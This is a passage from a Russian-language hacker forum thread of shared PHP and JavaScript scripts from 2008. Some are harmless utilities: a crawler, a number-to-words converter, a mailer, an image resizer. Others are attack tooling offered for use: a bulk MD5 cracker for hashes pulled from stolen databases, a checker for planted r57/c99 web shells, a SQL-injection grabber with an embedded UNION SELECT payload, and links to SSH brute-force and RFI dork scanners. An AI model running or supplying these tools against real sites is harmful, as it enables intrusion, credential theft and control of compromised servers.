fputs($fp, 'Content-type: application/x-www-form-urlencoded'."\n");
fputs($fp, 'Content-length: ' . strlen($data) . "\n");
fputs($fp, 'User-Agent: PHP Script'."\n");
fputs($fp, 'Connection: close'."\n\n");
fputs($fp, $data);
while(!feof($fp))
$buf .= fread($fp,2048);
fclose($fp);
return $buf;
}
else{
return 'Server is not responding!';
}

}
$content = join('',file($filename));
$fcontent = preg_replace("/\n/",":",$content);
preg_match_all('/[0-9a-z]{32}/',$fcontent, $whatfound); #Ищем все хэши в базе
while (@$whatfound[0][$id] != '')
{
$hash = $whatfound[0][$id];
$page = post("md5_crack=;$hash&submit=Crack"); #Отправляем наш хэш
if (preg_match('/\w\w\w\w\W\W\W[a-z]{10}\W[a-z]{3}\W[a-z]{8}\W(.*)/',$page,$matches))
{
$pass = $matches[1];
fputs($of2,"$id : $pass\n");
$status = '+';
}
else
{
fputs($of3,"$id : $hash\n");
$status = '';
}
$id += 1;
$checked = count(file($filename2)) + count(file($filename3));
echo " $checked$status\n";
}
@fclose($of1);
@fclose($of2);
@fclose($of3);
echo ' Done!'."\n";
$found = count(file($filename2));
echo ' ++++++++++++++++++++++++++'."\n";
echo " $found of $all hashes found!"."\n";
echo ' ++++++++++++++++++++++++++'."\n\n";
?>

Можно и на многие многи другие сервисы переписать но вот нужно ли?

ЗЫ Чтобы все было в виде pass;mail юзайте ворд и эксель... Просто заменяйте разделителль на табуляцию, пихаете в эксель, сортируете по номеру ну а дальше разберетесь=)

EDIT: Упс, проморгал что сокет на версии для хэшкиллера конектился к мд5.хек.сс=))


С регекспом во второй версии какойто ужас.... Чет мне кажется пхп тег буянит :confused:

MaZaHaKer
13.07.2008, 19:46
Можно и на многие многи другие сервисы переписать но вот нужно ли?




кто захочет - думаю сам перепишет .... :rolleyes:

DIAgen
14.07.2008, 09:08
Когда то, давным давно, нужно было проверить пачку шелов на работоспособность и определить их тип, и был накатан такой не большой скриптик (:

<?php

if(function_exists('ini_set')) {
ini_set('ignore_user_abort ',1);
ini_set ( 'max_execution_time', 999999999999 );
}
if(function_exists('ini_alter')) {
ini_alter('ignore_user_abort ',1);
ini_alter ( 'max_execution_time', 999999999999 );
}
if(function_exists('ignore_user_abort') && function_exists('set_time_limit')) {
ignore_user_abort(1);
set_time_limit(0);
}

$shell_txt = explode("\n",file_get_contents('shell.txt'));
$shell_count = count($shell_txt);
$shell_array = array();

function cheak_shell ($url) {

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLE_OPERATION_TIMEOUTED, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result_curl = curl_exec($ch);
curl_close($ch);

$result_curl = str_replace(array("\r","\n","\t"),' ',$result_curl);

if(strstr($result_curl,'r57shell')) {
$url_good = '+ '. $url . " r57shell \n";
} elseif(strstr($result_curl,'c99madshell')) {
$url_good = '+ '.$url . " c99madshell \n";
}
return $url_good;
}

for($i=0;$i<$shell_count;$i++) {
if (!in_array ( $shell_txt[$i], $shell_array)) {
$shell_array[] = $shell_txt[$i];
$url_good .= cheak_shell($shell_txt[$i]);
}
}

file_put_contents ('good_shells.txt', $url_good."END");

zer0ska
15.07.2008, 18:37
Пара скриптов бРУТ SSH на python тестил работают прекрасно. ))
http://zerolab.ru/news/ataka-na-ssh-podborka-skriptov-dlya-bruteforcer.html

otmorozok428
17.07.2008, 11:47
Красивые динамические надписи

Демки смотрим здесь:

http://www.pinchpoke.com

Скрипты бесплатно (!) льём отсюда (http://depositfiles.com/files/6618987) или с сайта производителя (http://www.pinchpoke.com/ricester007.zip) :)

V1@DDD
17.07.2008, 20:29
Можете написать, кому не трудно скрипт для вставки кода во все файлы php/html/asp и т.д. на всем сервере? Ну айфреймер. Сколько не искал есть только по фтп, а по веб нету. :(

zer0ska
19.07.2008, 00:36
DorkScan v1.0 это не большой и быстрый drok сканнер на python.
Сканирует сайт по списку дороков на предмет уязвимостей RFI
тестировался на Debian, Работает прекрасно.

http://zerolab.ru/news/dorkscan-v10-python-rfi-scanner.html#more-29

mff
25.07.2008, 11:42
Перезалил PHP Unzipper v1.1!
http://forum.antichat.ru/showpost.php?p=685027&postcount=357
Пользуйтесь. :cool:

NOmeR1
04.08.2008, 23:05
Вобщем уже писал скрипт, который получает все ссылки с сайта, но он не всё получал, что надо.

Вот исправленная версия
<?php
$site = 'http://localhost/';
$mode = 2; // 1 = Использовать функцию file_get_contents, 2 = Использовать сокеты
foreach(get_urls($site) as $url) {
echo '<a href="'.$url.'">'.$url.'</a><br>'."\n";
}
@set_time_limit(0);
@ini_set('max_execution_time', 0);
function get($action) {
$url = parse_url($action);
$fp = fsockopen($url['host'], 80, $errno, $errstr, 30);
if(!$fp) {
return false;
} else {
fputs($fp, 'GET '.$action.' HTTP/1.0'."\r\n".
'Host: '.$url['host']."\r\n".
'Referer: '.$url['scheme'].'://'.$url['host'].$url['path']."\r\n\r\n");
$result = '';
while(!feof($fp)) {
$result .= fgets($fp, 128);
}
fclose($fp);
return $result;
}
}
function my_sort($array) {
$new_array = array();
foreach($array as $value) {
$new_array[] = $value;
}
return $new_array;
}
function JoinToSite($url, $site) {
$domain = parse_url($site);
$domain = $domain['scheme'].'://'.$domain['host'];
if($url{0} == '/') {
$link = $domain.$url;
} else if(preg_match('~^http(s)?:~i', $url)) {
if(parse_url($url, PHP_URL_HOST) == parse_url($site, PHP_URL_HOST)) {
$link = $url;
}
} else {
if(!preg_match('~^(ftp(s)?|javascript|mailto):~i', $url)) {
$dirname = '';
$explode = explode('/', parse_url($site, PHP_URL_PATH));
foreach($explode as $i => $dir) {
if($dir && $i != (count($explode)-1)) {
$dirname .= $dir.'/';
}
}
$link = $domain.'/'.$dirname.preg_replace('~(\A|/)\./~', '$1', $url);
$regex = '~/(?!\.\./)[^\x2F]+/\.\./~';
while(preg_match($regex, $link)) {
$link = preg_replace($regex, '/', $link);
}
}
}
return (isset($link) ? $link : false);
}
function GetAllUrlsFromUrl($url, $all_links) {
global $mode;
$first = (($mode == 1) ? @file_get_contents($url) : get($url));
preg_match_all('~<a[^>]+href[\x20]?=[\x20\x22\x27]?([^\x20\x22\x27\x3E]+)[\x20\x22\x27]?[^>]*>~i', $first, $second);
$array_urls = array();
foreach($second[1] as $link) {
$link = JoinToSite($link, $url);
if($link !== false && !in_array($link, $all_links)) {
$array_urls[] = $link;
}
}
return ((count($array_urls) > 0) ? $array_urls : false);
}
function get_urls($url) {
$old_links = array();
$new_links = array($url);
while(true) {
$url = $new_links[0];
$old_links[] = $url;
array_shift($new_links);
$get_urls = GetAllUrlsFromUrl($url, array_merge($old_links, $new_links));
if($get_urls) {
$new_links = array_merge($get_urls, $new_links);
} else {
if(sizeof($new_links)==0) {
break;
} else {
continue;
}
}
}
sort($old_links);
return $old_links;
}
?>
Средний рез-тат сканирования 10 ссылок на localhost


С помощью file_get_contents 0.104 с.
С помощью сокетов 0.098 с.

Скрипт может работать медленно и долго. Используйте сокеты по мере возможности.

Ещё раз предупреждаю! Не надо использовать этот скрипт для больших CMS, форумов и т.п.! Вы нагружаете не только сервер, на котором находится скрипт, но и сайт, который сканируете!

VAran
07.08.2008, 20:08
недавно возникла необходимость организовать преобразование вводимого пользователем числа в текст.
реализовал в виде класса:

<?php
echo '<form action="num2txt.php" method="post">';
echo '<input type="text" name="a"/'>;
echo '<input type="submit" value="->"/>';
echo '</form>';
class Num2Txt {
var $nbr, $names, $x, $razryad;
function __construct()
{
if(is_numeric($_POST[a]))
$this->nbr = $_POST[a];
else
echo 'вводить только целые числа';
$this->names= array(array("","",""," десять"),array(" один","надцать"," сто"," одинадцать"),array(" два"," двадцать"," двести"," двенадцать"),array(" три"," тридцать"," триста"," тринадцать"),array(" четыре"," сорок"," четыреста"," четырнадцать"),array(" пять"," пятьдесят"," пятьсот"," пятнадцать"),array(" шесть"," шестьдесят"," шестьсот"," шестнадцать"),array(" семь"," семьдесят"," семьсот"," семнадцать"),array(" восемь"," восемьдесят"," восемьсот"," восемнадцать"),array(" девять"," девяносто"," девятьсот"," девятнадцать"));
$this->x = str_split($this->nbr);
$this->razryad = array(""," тыс. "," млн. "," млрд. ", " трлн. "," квдрлн. "," квнтлн. "," скстлн. "," сптлн. "," октлн. "," ннлн. "," дцлн. ");
}
function show_nbr()
{ echo $this->nbr."<br>"; }
function translate() {
for($i = strlen($this->nbr) - 1 ; $i >= 0 ; $i--)
{
$jump = false;
if($this->x[strlen($this->nbr) - 1 - $i] == 1 && $i%3 == 1)
{
echo $this->names[$this->x[strlen($this->nbr) - $i]][3];
echo $this->razryad[($i-1)/3];
$jump = true;
}
else
echo $this->names[$this->x[strlen($this->nbr) - 1 - $i]][$i%3];
if($i%3==0 && ($this->x[strlen($this->nbr) - $i-1] != 0 || $this->x[strlen($this->nbr) - $i-2] != 0 || $this->x[strlen($this->nbr) - $i-3] != 0))
echo $this->razryad[$i/3];
if($jump)
$i--;
}
}
}
$obj = new Num2Txt();
$obj->show_nbr();
$obj->translate();
?>

Корвин
08.08.2008, 17:57
вроде был раньше раздел "скрипты от скуки", чот не видно его запихну сюда, скрипт вычисляет корни квадратного уравнения, пример работы тут
http://blood-ravens.ru/function.php


вот код :



<b>Вычисление корней квадратного уравнения:</b><br><br>
<form method="POST">
введите значение a <input type="text" size="3" name="a" value=""><br><br>
введите значение b <input type="text" size="3" name="b" value=""><br><br>
введите значение c <input type="text" size="3" name="c" value=""><br><br>
<input type="submit" value="вычислить"><br><br>
</form>
<?
##################################
//////////writed by Korvin™///////
///////////08.08.2008/////////////
////////All right reserved////////
##################################



function kvadratnoe_uravnenie($a,$b,$c)
{
$d = ($b*$b)-4*$a*$c;

if ($d>0)
{
$x1 = (2*$a)/(-$b+sqrt($d));
$x2 = (2*$a)/(-$b-sqrt($d));
echo 'Уравнение имеет два корня: '.$x1.' и '.$x2;
}
if ($d==0)
{
$x = -$b/(2*$a);
echo 'Уравнение имеет один корень: '.$x;
}

if ($d<0)
{
echo 'Вещественных корней нет.';
}

}
if ($_POST['a']>0 && $_POST['b']>0 && $_POST['c']>0)
{
kvadratnoe_uravnenie($_POST['a'],$_POST['b'],$_POST['c']);
}
?>

Sholoman
08.08.2008, 23:10
И так, вот скрипт для того чтобы вы не ждали 100сек., а сразу скачивали файл с depositfiles.com

Создаём файл depositfiles_com.js в папке Opera ( с другими не пробывал).
Пиши в depositfiles_com.js

// ==UserScript==
// @name DepositFiles.com helper for Opera 8 - 9
// @version 1.10
// @date 2009-09-09
// @author
// @download http://www.puzzleclub.ru/files/depositfiles_com.js
// @include http://depositfiles.com/files/*
// @include http://depositfiles.com/*/files/*
// ==/UserScript==

(function(){
// For those who have the "Cached Images" mode.
var autoReloadCaptchaImage = false;

var bPlaySound = true;
var soundSource = 'data:audio/midi;base64,TVRoZAAAAAYAAQACAPBNVHJrAAAAGwD/WAQEAhgIAP9RAwknwI8A/1EDB6EgAP8vAE1UcmsAAAAtAP8DBVN0YWZmAMANVpBNfx5IfyG ATQAOSACBDpBNfxlIfx6ATQAOSAAA/y8A';
// Repetition interval in milliseconds. 0 - disable repetition.
var soundRepetitionInterval = 60000; // 1 minute;
var soundTimerId = '';

window.opera.addEventListener('BeforeScript', function(e){
if(e.element.text && e.element.text.indexOf('window.open(enter_popup_ur l') != -1)
e.preventDefault();
}, false);

var refreshPage = function()
{
window.history.go(0);
};

function playSound()
{
var f = document.createElement('IFRAME');
f.src = soundSource;
f.width = 0;
f.height = 0;
f.frameBorder = 'no';
f.scrolling = 'no';
document.documentElement.appendChild(f);

var i = 0;
var soundLoop = function()
{
var s = soundSource + '#' + i;
f.setAttribute('src', s, false);
i++;
};

if(soundRepetitionInterval > 0)
soundTimerId = setInterval(soundLoop, soundRepetitionInterval);
};

var restoreImage = function(img){};
if(typeof(opera.version) == 'function' && opera.version() >= 9.10)
{
var restoreImage = function(img)
{
if(!img)
return;

var refreshImg = function(i, d)
{
i.style.display = d;
};

if(img.currentStyle.display != 'none')
{
var display = img.currentStyle.display;
img.style.display = 'none';
setTimeout(refreshImg, 10, img, display);
}
};
}

var reloadImage = function(img)
{
var f = document.createElement('iframe');
f.src = img.src;
f.width = 0;
f.height = 0;
f.frameBorder = 'no';
f.scrolling = 'no';
f.onload = function(){
this.parentNode.removeChild(this);
restoreImage(img);
};
document.documentElement.appendChild(f);
};

var onReady = function()
{
document.title = 'DF: ready';
if(bPlaySound)
playSound();

var btn = document.getElementById('dwn_link');
if(btn)
{
//var timer = soundTimerId;
btn.onMouseUp = clearInterval(soundTimerId);
}
};

var onLoad = function()
{
window.is_popup_showed = true;

var f = document.getElementById('gateway_form');
if(f)
{
f.submit();
window.close();
}
else if(document.getElementById('download_url'))
{
var d = document.getElementById('download_url');
if(d)
d.style.display = '';

d = document.getElementById('img_code_block');
if(d)
d.style.display = '';

if(autoReloadCaptchaImage)
{
var img = d.getElementsByTagName('img');
if(img && img.length > 0 && !img[0].complete && img[0].src)
reloadImage(img[0]);
}

var time = 0;
var showTime = function()
{
var d = document.getElementById('instead_img_code_block');
if(d && d.style.display != 'none')
{
onReady();
return;
}

var e = document.getElementById('download_waiter_remain');
if(e)
{
var t = e.innerText;
if(t)
{
t = parseFloat(t);
if(!isNaN(t))
{
t = t.toFixed(0);
if(t != time)
{
time = t;
if(time <= 0)
{
onReady();
return;
}
else
document.title = 'DF: ' + t;
}
}
}
}

setTimeout(showTime, 100);
}

setTimeout(showTime, 100);
}
else
{
var d = document.getElementById('download_file_info_block' );
if(d && d.innerText.search('From yours IP addresses already') != -1)
{
setTimeout(refreshPage, 60000);
return;
}
}
};

if(typeof(opera.version) == 'function' && opera.version() >= 9)
document.addEventListener('DOMContentLoaded', onLoad, false);
else
document.addEventListener('load', onLoad, false);
})();

Isis
15.08.2008, 06:13
Опять меня кинули сцуке на скриптенк :(

Скрипт для руссбилинга + процент соотношения имен

<?php
error_reporting(0);

$smsid = isset($_GET['smsid']) ? $_GET['smsid'] : '' ;
$num = isset($_GET['num']) ? $_GET['num'] : '' ;
$operator = isset($_GET['operator']) ? $_GET['operator'] : '' ;
$userid = isset($_GET['user_id']) ? $_GET['user_id'] : '' ;
$cost = isset($_GET['cost']) ? $_GET['cost'] : '' ;
$msg = isset($_GET['msg']) ? $_GET['msg'] : '' ;

$msg = str_replace("+", '', $msg);
list($function, $love, $name, $name2) = explode(" ", $msg);

if($msg)
{
if($num == '3649' || $num == '1121')
{
$name = strtoupper($name);
$name2 = strtoupper($name2);
$count = '0';
$amount = '0';

for ($i = 0; $i < strlen($name); $i++)
{
$letter = $name{$i};
if ($letter == 'В') $count +=6;
if ($letter == 'А') $count +=3;
if ($letter == 'И') $count +=3;
if ($letter == 'С') $count +=3;
if ($letter == 'Е') $count +=4;
if ($letter == 'К') $count +=6;
if ($letter == 'Н') $count +=4;
if ($letter == 'У') $count +=6;
if ($letter == 'Ц') $count +=4;
if ($letter == 'Ь') $count +=6;
if ($letter == 'Я') $count +=4;
if ($letter == 'C') $count +=6;
if ($letter == 'L') $count +=4;
if ($letter == 'U') $count +=6;
if ($letter == 'F') $count +=4;
if ($letter == 'O') $count +=6;
if ($letter == 'X') $count +=4;
if ($letter == 'A') $count +=3;
if ($letter == 'J') $count +=3;
if ($letter == 'S') $count +=3;
}

for ($i = 0; $i < strlen($name2); $i++)
{
$letter2 = $name2{$i};
if ($letter2 == 'В') $count +=6;
if ($letter2 == 'А') $count +=3;
if ($letter2 == 'И') $count +=3;
if ($letter2 == 'С') $count +=3;
if ($letter2 == 'Е') $count +=4;
if ($letter2 == 'К') $count +=6;
if ($letter2 == 'Н') $count +=4;
if ($letter2 == 'У') $count +=6;
if ($letter2 == 'Ц') $count +=4;
if ($letter2 == 'Ь') $count +=6;
if ($letter2 == 'Я') $count +=4;
if ($letter2 == 'C') $count +=6;
if ($letter2 == 'L') $count +=4;
if ($letter2 == 'U') $count +=6;
if ($letter2 == 'F') $count +=4;
if ($letter2 == 'O') $count +=6;
if ($letter2 == 'X') $count +=4;
if ($letter2 == 'A') $count +=3;
if ($letter2 == 'J') $count +=3;
if ($letter2 == 'S') $count +=3;
}

if ($count > 0) $amount = 5-((strlen($name) + strlen($name2)) / 2);
if ($count > 2) $amount = 10-((strlen($name) + strlen($name2)) / 2);
if ($count > 4) $amount = 15-((strlen($name) + strlen($name2)) / 2);
if ($count > 6) $amount = 20-((strlen($name) + strlen($name2)) / 2);
if ($count > 8) $amount = 25-((strlen($name) + strlen($name2)) / 2);
if ($count > 10) $amount = 30-((strlen($name) + strlen($name2)) / 2);
if ($count > 12) $amount = 40-((strlen($name) + strlen($name2)) / 2);
if ($count > 14) $amount = 50-((strlen($name) + strlen($name2)) / 2);
if ($count > 15) $amount = 60-((strlen($name) + strlen($name2)) / 2);
if ($count > 16) $amount = 65-((strlen($name) + strlen($name2)) / 2);
if ($count > 17) $amount = 70-((strlen($name) + strlen($name2)) / 2);
if ($count > 18) $amount = 75-((strlen($name) + strlen($name2)) / 2);
if ($count > 19) $amount = 80-((strlen($name) + strlen($name2)) / 2);
if ($count > 20) $amount = 85-((strlen($name) + strlen($name2)) / 2);
if ($count > 22) $amount = 90-((strlen($name) + strlen($name2)) / 2);
if ($count > 24) $amount = 95-((strlen($name) + strlen($name2)) / 2);
if ($count > 28) $amount = 100-((strlen($name) + strlen($name2)) / 2);
if ($count > 32) $amount = 105-((strlen($name) + strlen($name2)) / 2);
if ($count > 40) $amount = 110-((strlen($name) + strlen($name2)) / 2);

if ($amount < 0) $amount = 0;
if ($amount >100) $amount = 100;
$message = 'Процент соотношения имен '.$name.' + '.$name2.' = ' .$amount. '%';
}
else
{
$message = "Вы ошиблись номером при отправке смс";
}

echo "smsid:".$smsid."\n";
echo "status:reply\n";
echo "content-type:text/plan\n";
echo "\n";
echo $message."\n";
}

?>

$p01nt
16.08.2008, 16:22
Программа парсит ссылки с search.icq.com и пишет их в файл

Скачать (http://forx.nm.ru/search.pl)

Кому пригодилась - не забудте про плюсик ))

rushter
18.08.2008, 00:16
Скрипт PHP для отправки писем со вложениями

<?php

define("LIBR", "\r\n"); // use a "\n" if you have problems

class attach_mailer {

var $from_name;
var $from_mail;
var $mail_to;
var $mail_cc;
var $mail_bcc;

var $mail_headers;
var $mail_subject;
var $mail_body = "";

var $valid_mail_adresses; // boolean is true if all mail(to) adresses are valid
var $uid; // the unique value for the mail boundry
var $mail_priority = 3; // 3 = normal, 2 = high, 4 = low

var $att_files = array();
var $msg = array();

// functions inside this constructor
// - validation of e-mail adresses
// - setting mail variables
// - setting boolean $valid_mail_adresses
function attach_mailer($name = "", $from, $to, $cc = "", $bcc = "", $subject = "", $body = "") {
$this->valid_mail_adresses = true;
if (!$this->check_mail_address($to)) {
$this->msg[] = "Error, the \"mailto\" address is empty or not valid.";
$this->valid_mail_adresses = false;
}
if (!$this->check_mail_address($from)) {
$this->msg[] = "Error, the \"from\" address is empty or not valid.";
$this->valid_mail_adresses = false;
}
if ($cc != "") {
if (!$this->check_mail_address($cc)) {
$this->msg[] = "Error, the \"Cc\" address is not valid.";
$this->valid_mail_adresses = false;
}
}
if ($bcc != "") {
if (!$this->check_mail_address($bcc)) {
$this->msg[] = "Error, the \"Bcc\" address is not valid.";
$this->valid_mail_adresses = false;
}
}
if ($this->valid_mail_adresses) {
$this->from_name = $this->strip_line_breaks($name);
$this->from_mail = $this->strip_line_breaks($from);
$this->mail_to = $this->strip_line_breaks($to);
$this->mail_cc = $this->strip_line_breaks($cc);
$this->mail_bcc = $this->strip_line_breaks($bcc);
$this->mail_subject = $this->strip_line_breaks($subject);
$this->create_mime_boundry();
$this->mail_body = $this->create_msg_body($body);
$this->mail_headers = $this->create_mail_headers();
} else {
return;
}
}
function get_msg_str() {
$messages = "";
foreach($this->msg as $val) {
$messages .= $val."<br>\n";
}
return $messages;
}
// use this to prent formmail spamming
function strip_line_breaks($val) {
$val = preg_replace("/([\r\n])/", "", $val);
return $val;
}
function check_mail_address($mail_address) {
$pattern = "/^[\w-]+(\.[\w-]+)*@([0-9a-z][0-9a-z-]*[0-9a-z]\.)+([a-z]{2,4})$/i";
if (preg_match($pattern, $mail_address)) {
if (function_exists("checkdnsrr")) {
$parts = explode("@", $mail_address);
if (checkdnsrr($parts[1], "MX")){
return true;
} else {
return false;
}
} else {
// on windows hosts is only a limited e-mail address validation possible
return true;
}
} else {
return false;
}
}
function create_mime_boundry() {
$this->uid = "_".md5(uniqid(time()));
}
function get_file_data($filepath) {
if (file_exists($filepath)) {
if (!$str = file_get_contents($filepath)) {
$this->msg[] = "Error while opening attachment \"".basename($filepath)."\"";
} else {
return $str;
}
} else {
$this->msg[] = "Error, the file \"".basename($filepath)."\" does not exist.";
return;
}
}
// remember "LIBR" is the line break defined in constact above
function create_msg_body($mail_msg, $cont_tranf_enc = "7bit", $type = "text/plain", $enc = "iso-8859-1") {
$str = "--".$this->uid.LIBR;
$str .= "Content-type:".$type."; charset=".$enc.LIBR;
$str .= "Content-Transfer-Encoding: ".$cont_tranf_enc.LIBR.LIBR;
$str .= trim($mail_msg).LIBR.LIBR;
return $str;
}
function create_mail_headers() {
if ($this->from_name != "") {
$headers = "From: ".$this->from_name." <".$this->from_mail.">".LIBR;
$headers .= "Reply-To: ".$this->from_name." <".$this->from_mail.">".LIBR;
} else {
$headers = "From: ".$this->from_mail.LIBR;
$headers .= "Reply-To: ".$this->from_mail.LIBR;
}
if ($this->mail_cc != "") $headers .= "Cc: ".$this->mail_cc.LIBR;
if ($this->mail_bcc != "") $headers .= "Bcc: ".$this->mail_bcc.LIBR;
$headers .= "MIME-Version: 1.0".LIBR;
$headers .= "X-Mailer: Attachment Mailer ver. 1.0".LIBR;
$headers .= "X-Priority: ".$this->mail_priority.LIBR;
$headers .= "Content-Type: multipart/mixed;".LIBR.chr(9)." boundary=\"".$this->uid."\"".LIBR.LIBR;
$headers .= "This is a multi-part message in MIME format.".LIBR.LIBR;
return $headers;
}
// use for $dispo "attachment" or "inline" (f.e. example images inside a html mail
function create_attachment_part($file, $dispo = "attachment") {
if (!$this->valid_mail_adresses) return;
$file_str = $this->get_file_data($file);
if ($file_str == "") {
return;
} else {
$filename = basename($file);
$file_type = mime_content_type($file);
$chunks = chunk_split(base64_encode($file_str));
$mail_part = "--".$this->uid.LIBR;
$mail_part .= "Content-type:".$file_type.";".LIBR.chr(9)." name=\"".$filename."\"".LIBR;
$mail_part .= "Content-Transfer-Encoding: base64".LIBR;
$mail_part .= "Content-Disposition: ".$dispo.";".chr(9)."filename=\"".$filename."\"".LIBR.LIBR;
$mail_part .= $chunks;
$mail_part .= LIBR.LIBR;
$this->att_files[] = $mail_part;
}
}
function process_mail() {
if (!$this->valid_mail_adresses) return;
$mail_message = $this->mail_body;
if (count($this->att_files) > 0) {
foreach ($this->att_files as $val) {
$mail_message .= $val;
}
$mail_message .= "--".$this->uid."--";
}
if (mail($this->mail_to, $this->mail_subject, $mail_message, $this->mail_headers)) {
$this->msg[] = "Your mail is succesfully submitted.";
} else {
$this->msg[] = "Error while sending you mail.";
}
}
}

?>

rushter
18.08.2008, 15:37
<?
set_time_limit(0);
$limit=100;
for ($i = 1; $i <= $limit; $i++)
{
$fp = fopen ("$i.txt", "w");
fclose($fp);
}
?>
создаёт пустые файлы

.:EnoT:.
18.08.2008, 16:07
Была необходимость написать скрипт, который выводит email на картинке + создаёт эту картинку с учётом длины мейла.
Что-то типа простой защиты от сборщиков емейлов).
function protectmail($email){
for($i=0,$w=0; $i < strlen($email); $i++,$w+=15){
$arr[$i] = substr($email, $i, 1);
$width = $w;
}
$img = imagecreate($width, 20);
imagecolorallocate($img, mt_rand(230,255), mt_rand(230,255), mt_rand(230,255));
$color = imagecolorallocate ($img, '', '', '');
for($i=0,$a=0; $i < strlen($email); $i++){
$string = imagecolorallocate($img, rand(0,250), rand(0,250), rand(0,250));
imagestring($img, 3, $a+=mt_rand(8,15), mt_rand(0,5), $arr[$i], $string);
}
return imagegif($img);
}
header('Content-type: image/gif');
echo protectmail('admin@mail.ru');

Dr1ver
21.08.2008, 10:26
<?php
$w=160; //новая ширина
$h=120; //новая высота
$i='1.jpg';
$i='images/'.$i; //путь к изображению

$left=0; //задаём смещение слева
$top=0; //задаём смещение сверху

$size = getimagesize($i); // получаем информацию о исходном изображении


$sw=$size['0']; //исходная ширина
$sh=$size['1']; //исходная высота
$k1=$sw/$w; //коэффициент отношения ширины
$k2=$sh/$h; //коэффициент отношения высоты
$e=$w/$h; //коэффициент отношения новой ширины и высоты
$se=$sw/$sh; //коэффициент отношения исходной ширины и высоты
$m=$se/$e; //поправочный коэффициент


if($w>=$h)
{
$sh=$h*$k1;

if($e<$se)
{
$sw=$sw/$m;
$sh=$sh/$m;
$left=($size['0']-$sw)/2;
}
$top=($size['1']-$sh)/2;
}

else
{
$sw=$w*$k2;

if($e>$se)
{
$sw=$sw*$m;
$sh=$sh*$m;
$top=($size['1']-$sh)/2;
}
$left=($size['0']-$sw)/2;
}


$image = imagecreatetruecolor($w,$h); //создаём пустое новое изображение
$s = imagecreatefromjpeg($i); //считываем изображение из jpeg файла
imagecopyresampled ($image, $s, 0, 0, $left, $top, $w, $h, $sw, $sh); //изменяем размер изображения

header("Content-type: image/png");
imagepng($image);//выводим новое изображение в формате png

imagedestroy($image); //освобождаем память
imagedestroy($s); //освобождаем память

?>




Делал как-то галерею, нужно было как-то привести все изображения к одному размеру.

Преимущество этого скрипта в том, что он учитывает пропорцию исходного изображения. Картинки не искажаются при любых исходных и конечных размерах и размер изображения в итоге получается строго в заданных $w и $h. Кому не лень, поэксперементируйте. Все скрипты аналоги в нете, которые я нашёл работают немного подругому, не приводя размер изображения к заданному, игнорируя либо ширину либо высоту.

Пользуйтесь ;)

Micr0b
21.08.2008, 15:47
//////////////////////////////////////
// Brut_or_grabber_limit
// Coder By M!cr0b aka HakNet v1.0
// icq: 532-415
// Whack Team
// www.forum.whack.ru
//////////////////////////////////////
Brut_or_grabber_limit

Даной скрипт перебирает инэкцию через лимит и сохраняет в файл "save.txt.gz".

Вобше ищо есть несколько функций.. но для етого вам придеса самим заюзать скрипт... ;)

Так как скрипт написаной мной, ридми по используванию есть на украинском, переводом страдать я нехочу так что юзайте http://pereklad.online.ua

Скачать скрипт с ридми: http://webfile.ru/2175298

или сам скрип:


<?
//////////////////////////////////////
// Coder By M!cr0b aka HakNet v1.0 //
// icq: 532-415 //
// Whack Team //
// forum.whack.ru //
//////////////////////////////////////
?>
<html>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
<head><title></title>
<style>
body{
margin:200 150;
background: #666;
font: normal 13px Arial, Helvetica, sans-serif;
color: #666;
}
table,td{
border : 1px dashed #444444;
background-color : #F4F4F4;
font : 12px courier new;
color : #888888;
}
input,select{
background-color: #000000;
font:8pt verdana;
text-align:left;
color: #669666;
}
</style>
<body>
<table>
<tr>
<td>
<form method="post">
1. <a href="readme.txt">ReadMe</a><br>
2. Count: <input type="type" name="count" size="5"><input type='checkbox' onChange="if(this.checked){document.all.start.disabled=false ;}else{document.all.start.disabled=true;}">yes<br>
3. Url:&nbsp;&nbsp;&nbsp;<input type="type" name="url" value="http://coder/mysqltools/testing_injection/index.php?i=-1+union+select+1,concat(0x2b7c,categor,0x7c2b),3,4 +from+categors" size="135">
<select name="Z">
<option value="">null</option>
<option selected value="/*">/*</option>
<option value="--">--</option>
</select>
<center><input type="submit" name="start" disabled="disabled" value="Старт" style="cursor:pointer">
</form>
<br><br>
<form method="POST">
<input type="submit" name="musor" value="Очистка" style="cursor:pointer"></center>
</form>
</td>
</tr>
<tr>
<td>
<?php
system('tar -cvf save.txt.tar Z:\home\coder\www\mysqltools\Brut_or_grabber_limit ');
if($_POST['start']){
$count=$_POST['count'];
$url=$_POST['url'];
$Z=$_POST['Z'];
$fp=gzopen("save.txt.tar", "w9");
for($i=0;$i<$count;$i++){ // скільіки разів повторювати цикл вибірки
$input=@file_get_contents("".$url."+LIMIT+".$i.",1".$Z."");
gzwrite ($fp, $input);
}
gzclose ($fp);
echo "<font color='#669666'><center>Для очищення спочтку розпакуйте файл <b>save.txt.gz</b></center></font>";
}

if($_POST['musor']){
$input=@file_get_contents("save.txt");
$oprede = "+|";
$oprede2 = "|+";
preg_match_all('|'.preg_quote($oprede, '/').'.*'.preg_quote($oprede2, '/').'|s',$input,$out);
$sd = explode($oprede2,$out[0][0]);
$cnt = count($sd);
$zapis=fopen("good.txt", "a+");
for ($i=0;$i<$cnt-1;$i++) {
preg_match_all('|'.preg_quote($oprede, '/').'.*|s',$sd[$i],$out1);
$str = str_replace($oprede,"",$out1[0][0]);
fwrite($zapis, $str."\n");
}
fclose ($zapis);
echo "<font color='#669666'><center>Очищено вдало. Перевірити: <a href='good.txt'><b>good.txt</b></a></center</font>";
}
?>
</body>
</td>
</tr>
</table>

Doom123
25.08.2008, 16:20
Работ через socks


<?
/**
* Class for work using SOCKS5 protocol.
* Copyright by Elw00d
* В данный момент поддерживаются лишь исходящие TCP-соединения с socks5-сервером, не требующим авторизации
*/
class socks5
{
var $ip;
var $port;
var $socket;
var $socket_timeout;
var $connected; // есть ли установленное соединение ЧЕРЕЗ сокс с удаленным хостом

// конструктор — инициализирует переменные класса, но никуда не подключается
function socks5($ip, $port, $timeout = 3000)
{
$this->socket = 0;
$this->socket_timeout = $timeout;
$this->ip = $ip;
$this->port = $port;
$this->connected = false;
return true;
}

// подключение к сокс-серверу (только socks5)
// авторизация user/pass не поддерживается
// timeout — в миллисекундах
// возвращает true/false в зависимости от успеха операции
function socks5_init()
{
if ($this->socket = @pfsockopen($this->ip, $this->port, $errno, $errstr, $this->
socket_timeout / 1000)) {
fwrite($this->socket, pack("C3", 0x05, 0x01, 0x00));
